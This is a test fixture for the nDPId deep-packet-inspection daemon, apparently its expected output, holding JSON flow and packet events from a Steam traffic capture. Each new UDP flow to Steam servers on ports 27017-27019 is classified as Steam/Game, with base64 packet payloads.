+00499{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":58,"source":"steam.pcap","alias":"nDPId-test","flow_id":39,"flow_packet_id":1,"flow_first_seen":1357332165138,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.188.149","dst_ip":"81.171.115.5","src_port":45665,"dst_port":27017,"l4_proto":"udp","ndpi": {"proto":"Steam","breed":"Fun","category":"Game"}} +00478{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":59,"source":"steam.pcap","alias":"nDPId-test","flow_id":40,"flow_packet_id":1,"flow_first_seen":1357332165138,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.188.149","dst_ip":"208.111.133.84","src_port":45665,"dst_port":27018,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00438{"flow_id":40,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":59,"source":"steam.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1357332165,"pkt_ts_usec":138716,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"AFBW4RiuAAwp3FvtCABFAABAAABAAEARZ6vAqLyV0G+FVLJhaYoALIgdVlMwMQAAAQAABgAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAA"} +00501{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":59,"source":"steam.pcap","alias":"nDPId-test","flow_id":40,"flow_packet_id":1,"flow_first_seen":1357332165138,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.188.149","dst_ip":"208.111.133.84","src_port":45665,"dst_port":27018,"l4_proto":"udp","ndpi": {"proto":"Steam","breed":"Fun","category":"Game"}} +00450{"flow_id":28,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":60,"source":"steam.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1357332165,"pkt_ts_usec":148604,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"AAwp3FvtAFBW4RiuCABFAABIWTkAAIARDmnQb4VVwKi8lWmKsmEANIntVlMwMQgAAgAAAAAAAAYAAAEAAAABAAAAAAAAAAAAAAAAAAAATel0NDIBAAA="} +00450{"flow_id":25,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":61,"source":"steam.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1357332165,"pkt_ts_usec":166578,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"AAwp3FvtAFBW4RiuCABFAABIWToAAIAROdySQpgOwKi8lWmJsmEANCG6VlMwMQgAAgAAAAAAAAYAAAEAAAABAAAAAAAAAAAAAAAAAAAA27XMEOAAAAA="} +00450{"flow_id":38,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":62,"source":"steam.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1357332165,"pkt_ts_usec":175965,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"AAwp3FvtAFBW4RiuCABFAABIWTsAAIAR3ctIpT27wKi8lWmJsmEANAJdVlMwMQgAAgAAAAAAAAYAAAEAAAABAAAAAAAAAAAAAAAAAAAA5fe1HLAAAAA="} +00478{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":63,"source":"steam.pcap","alias":"nDPId-test","flow_id":41,"flow_packet_id":1,"flow_first_seen":1357332165187,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.188.149","dst_ip":"208.111.133.85","src_port":45665,"dst_port":27017,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00438{"flow_id":41,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":63,"source":"steam.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1357332165,"pkt_ts_usec":187509,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"AFBW4RiuAAwp3FvtCABFAABAAABAAEARZ6rAqLyV0G+FVbJhaYkALIgdVlMwMQAAAQAABgAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAA"} +00501{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":63,"source":"steam.pcap","alias":"nDPId-test","flow_id":41,"flow_packet_id":1,"flow_first_seen":1357332165187,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.188.149","dst_ip":"208.111.133.85","src_port":45665,"dst_port":27017,"l4_proto":"udp","ndpi": {"proto":"Steam","breed":"Fun","category":"Game"}} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":64,"source":"steam.pcap","alias":"nDPId-test","flow_id":42,"flow_packet_id":1,"flow_first_seen":1357332165187,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.188.149","dst_ip":"72.165.61.176","src_port":45665,"dst_port":27018,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00438{"flow_id":42,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":64,"source":"steam.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1357332165,"pkt_ts_usec":187985,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"AFBW4RiuAAwp3FvtCABFAABAAABAAEARNxrAqLyVSKU9sLJhaYoALFeMVlMwMQAAAQAABgAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAA"} +00500{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":64,"source":"steam.pcap","alias":"nDPId-test","flow_id":42,"flow_packet_id":1,"flow_first_seen":1357332165187,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.188.149","dst_ip":"72.165.61.176","src_port":45665,"dst_port":27018,"l4_proto":"udp","ndpi": {"proto":"Steam","breed":"Fun","category":"Game"}} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":65,"source":"steam.pcap","alias":"nDPId-test","flow_id":43,"flow_packet_id":1,"flow_first_seen":1357332165188,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.188.149","dst_ip":"72.165.61.185","src_port":45665,"dst_port":27017,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00438{"flow_id":43,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":65,"source":"steam.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1357332165,"pkt_ts_usec":188410,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"AFBW4RiuAAwp3FvtCABFAABAAABAAEARNxHAqLyVSKU9ubJhaYkALFeEVlMwMQAAAQAABgAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAA"} +00500{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":65,"source":"steam.pcap","alias":"nDPId-test","flow_id":43,"flow_packet_id":1,"flow_first_seen":1357332165188,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.188.149","dst_ip":"72.165.61.185","src_port":45665,"dst_port":27017,"l4_proto":"udp","ndpi": {"proto":"Steam","breed":"Fun","category":"Game"}} +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":66,"source":"steam.pcap","alias":"nDPId-test","flow_id":44,"flow_packet_id":1,"flow_first_seen":1357332165188,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.188.149","dst_ip":"68.142.91.35","src_port":45665,"dst_port":27017,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00438{"flow_id":44,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":66,"source":"steam.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1357332165,"pkt_ts_usec":188765,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"AFBW4RiuAAwp3FvtCABFAABAAABAAEARHb7AqLyVRI5bI7JhaYkALD4xVlMwMQAAAQAABgAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAA"} +00499{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":66,"source":"steam.pcap","alias":"nDPId-test","flow_id":44,"flow_packet_id":1,"flow_first_seen":1357332165188,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.188.149","dst_ip":"68.142.91.35","src_port":45665,"dst_port":27017,"l4_proto":"udp","ndpi": {"proto":"Steam","breed":"Fun","category":"Game"}} +00450{"flow_id":42,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":67,"source":"steam.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1357332165,"pkt_ts_usec":226135,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"AAwp3FvtAFBW4RiuCABFAABIWTwAAIAR3dVIpT2wwKi8lWmKsmEANKPuVlMwMQgAAgAAAAAAAAYAAAEAAAABAAAAAAAAAAAAAAAAAAAASRKpercAAAA="} +00450{"flow_id":43,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":68,"source":"steam.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1357332165,"pkt_ts_usec":229000,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"AAwp3FvtAFBW4RiuCABFAABIWT0AAIAR3ctIpT25wKi8lWmJsmEANNMtVlMwMQgAAgAAAAAAAAYAAAEAAAABAAAAAAAAAAAAAAAAAAAAPeyXWaUAAAA="} +00450{"flow_id":32,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":69,"source":"steam.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1357332165,"pkt_ts_usec":230092,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"AAwp3FvtAFBW4RiuCABFAABIWT4AAIAROdeSQpgPwKi8lWmKsmEANLvcVlMwMQgAAgAAAAAAAAYAAAEAAAABAAAAAAAAAAAAAAAAAAAACGWHPF4BAAA="} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":70,"source":"steam.pcap","alias":"nDPId-test","flow_id":45,"flow_packet_id":1,"flow_first_seen":1357332165237,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.188.149","dst_ip":"146.66.152.13","src_port":45665,"dst_port":27019,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00439{"flow_id":45,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":70,"source":"steam.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1357332165,"pkt_ts_usec":237614,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"AFBW4RiuAAwp3FvtCABFAABAAABAAEARkx\/AqLyVkkKYDbJhaYsALLOQVlMwMQAAAQAABgAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAA"} +00500{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":70,"source":"steam.pcap","alias":"nDPId-test","flow_id":45,"flow_packet_id":1,"flow_first_seen":1357332165237,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.188.149","dst_ip":"146.66.152.13","src_port":45665,"dst_port":27019,"l4_proto":"udp","ndpi": {"proto":"Steam","breed":"Fun","category":"Game"}} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":71,"source":"steam.pcap","alias":"nDPId-test","flow_id":46,"flow_packet_id":1,"flow_first_seen":1357332165238,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.188.149","dst_ip":"69.28.145.170","src_port":45665,"dst_port":27018,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00438{"flow_id":46,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":71,"source":"steam.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1357332165,"pkt_ts_usec":238086,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"AFBW4RiuAAwp3FvtCABFAABAAABAAEAR5qjAqLyVRRyRqrJhaYoALAcbVlMwMQAAAQAABgAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAA"} +00500{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":71,"source":"steam.pcap","alias":"nDPId-test","flow_id":46,"flow_packet_id":1,"flow_first_seen":1357332165238,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.188.149","dst_ip":"69.28.145.170","src_port":45665,"dst_port":27018,"l4_proto":"udp","ndpi": {"proto":"Steam","breed":"Fun","category":"Game"}} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":72,"source":"steam.pcap","alias":"nDPId-test","flow_id":47,"flow_packet_id":1,"flow_first_seen":1357332165238,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.188.149","dst_ip":"146.66.152.15","src_port":45665,"dst_port":27017,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00438{"flow_id":47,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":72,"source":"steam.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1357332165,"pkt_ts_usec":238600,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"AFBW4RiuAAwp3FvtCABFAABAAABAAEARkx3AqLyVkkKYD7JhaYkALLOQVlMwMQAAAQAABgAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAA"} +00500{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":72,"source":"steam.pcap","alias":"nDPId-test","flow_id":47,"flow_packet_id":1,"flow_first_seen":1357332165238,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.188.149","dst_ip":"146.66.152.15","src_port":45665,"dst_port":27017,"l4_proto":"udp","ndpi": {"proto":"Steam","breed":"Fun","category":"Game"}} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":73,"source":"steam.pcap","alias":"nDPId-test","flow_id":48,"flow_packet_id":1,"flow_first_seen":1357332165238,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.188.149","dst_ip":"72.165.61.175","src_port":45665,"dst_port":27018,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00438{"flow_id":48,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":73,"source":"steam.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1357332165,"pkt_ts_usec":238956,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"AFBW4RiuAAwp3FvtCABFAABAAABAAEARNxvAqLyVSKU9r7JhaYoALFeNVlMwMQAAAQAABgAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAA"} +00500{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":73,"source":"steam.pcap","alias":"nDPId-test","flow_id":48,"flow_packet_id":1,"flow_first_seen":1357332165238,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.188.149","dst_ip":"72.165.61.175","src_port":45665,"dst_port":27018,"l4_proto":"udp","ndpi": {"proto":"Steam","breed":"Fun","category":"Game"}} +00450{"flow_id":35,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":74,"source":"steam.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1357332165,"pkt_ts_usec":243079,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"AAwp3FvtAFBW4RiuCABFAABIWT8AAIARDmTQb4VUwKi8lWmJsmEANLI1VlMwMQgAAgAAAAAAAAYAAAEAAAABAAAAAAAAAAAAAAAAAAAAPGE+dlEBAAA="} +00450{"flow_id":46,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":75,"source":"steam.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1357332165,"pkt_ts_usec":266390,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"AAwp3FvtAFBW4RiuCABFAABIWUAAAIARjWBFHJGqwKi8lWmKsmEANA+cVlMwMQgAAgAAAAAAAAYAAAEAAAABAAAAAAAAAAAAAAAAAAAA1CBaTb8AAAA="} +00450{"flow_id":33,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":76,"source":"steam.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1357332165,"pkt_ts_usec":270837,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"AAwp3FvtAFBW4RiuCABFAABIWUEAAIAROdSSQpgPwKi8lWmLsmEANCWgVlMwMQgAAgAAAAAAAAYAAAEAAAABAAAAAAAAAAAAAAAAAAAAfF+2fVEBAAA="} +00450{"flow_id":48,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":77,"source":"steam.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1357332165,"pkt_ts_usec":277274,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"AAwp3FvtAFBW4RiuCABFAABIWUIAAIAR3dBIpT2vwKi8lWmKsmEANO05VlMwMQgAAgAAAAAAAAYAAAEAAAABAAAAAAAAAAAAAAAAAAAA8dLGb6gAAAA="} +00451{"flow_id":36,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":78,"source":"steam.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1357332165,"pkt_ts_usec":279030,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"AAwp3FvtAFBW4RiuCABFAABIWUMAAIAROdWSQpgMwKi8lWmJsmEANPf\/VlMwMQgAAgAAAAAAAAYAAAEAAAABAAAAAAAAAAAAAAAAAAAAXTRtTucAAAA="} +00450{"flow_id":44,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":79,"source":"steam.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1357332165,"pkt_ts_usec":285882,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"AAwp3FvtAFBW4RiuCABFAABIWUQAAIARxHFEjlsjwKi8lWmJsmEANM4fVlMwMQgAAgAAAAAAAAYAAAEAAAABAAAAAAAAAAAAAAAAAAAAQP0jAwIBAAA="} +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":80,"source":"steam.pcap","alias":"nDPId-test","flow_id":49,"flow_packet_id":1,"flow_first_seen":1357332165287,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.188.149","dst_ip":"81.171.115.7","src_port":45665,"dst_port":27019,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00438{"flow_id":49,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":80,"source":"steam.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1357332165,"pkt_ts_usec":287742,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"AFBW4RiuAAwp3FvtCABFAABAAABAAEAR+LzAqLyVUatzB7JhaYsALBkuVlMwMQAAAQAABgAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAA"} +00499{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":80,"source":"steam.pcap","alias":"nDPId-test","flow_id":49,"flow_packet_id":1,"flow_first_seen":1357332165287,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.188.149","dst_ip":"81.171.115.7","src_port":45665,"dst_port":27019,"l4_proto":"udp","ndpi": {"proto":"Steam","breed":"Fun","category":"Game"}} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":81,"source":"steam.pcap","alias":"nDPId-test","flow_id":50,"flow_packet_id":1,"flow_first_seen":1357332165288,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.188.149","dst_ip":"72.165.61.188","src_port":45665,"dst_port":27018,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00438{"flow_id":50,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":81,"source":"steam.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1357332165,"pkt_ts_usec":288542,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"AFBW4RiuAAwp3FvtCABFAABAAABAAEARNw7AqLyVSKU9vLJhaYoALFeAVlMwMQAAAQAABgAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAA"} +00500{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":81,"source":"steam.pcap","alias":"nDPId-test","flow_id":50,"flow_packet_id":1,"flow_first_seen":1357332165288,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.188.149","dst_ip":"72.165.61.188","src_port":45665,"dst_port":27018,"l4_proto":"udp","ndpi": {"proto":"Steam","breed":"Fun","category":"Game"}} +00478{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":82,"source":"steam.pcap","alias":"nDPId-test","flow_id":51,"flow_packet_id":1,"flow_first_seen":1357332165288,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.188.149","dst_ip":"68.142.116.178","src_port":45665,"dst_port":27017,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00439{"flow_id":51,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":82,"source":"steam.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1357332165,"pkt_ts_usec":288951,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"AFBW4RiuAAwp3FvtCABFAABAAABAAEARBC\/AqLyVRI50srJhaYkALCSiVlMwMQAAAQAABgAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAA"} +00501{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":82,"source":"steam.pcap","alias":"nDPId-test","flow_id":51,"flow_packet_id":1,"flow_first_seen":1357332165288,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.188.149","dst_ip":"68.142.116.178","src_port":45665,"dst_port":27017,"l4_proto":"udp","ndpi": {"proto":"Steam","breed":"Fun","category":"Game"}} +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":83,"source":"steam.pcap","alias":"nDPId-test","flow_id":52,"flow_packet_id":1,"flow_first_seen":1357332165289,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.188.149","dst_ip":"81.171.115.6","src_port":45665,"dst_port":27018,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00438{"flow_id":52,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":83,"source":"steam.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1357332165,"pkt_ts_usec":289304,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"AFBW4RiuAAwp3FvtCABFAABAAABAAEAR+L3AqLyVUatzBrJhaYoALBkwVlMwMQAAAQAABgAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAA"} +00499{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":83,"source":"steam.pcap","alias":"nDPId-test","flow_id":52,"flow_packet_id":1,"flow_first_seen":1357332165289,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.188.149","dst_ip":"81.171.115.6","src_port":45665,"dst_port":27018,"l4_proto":"udp","ndpi": {"proto":"Steam","breed":"Fun","category":"Game"}} 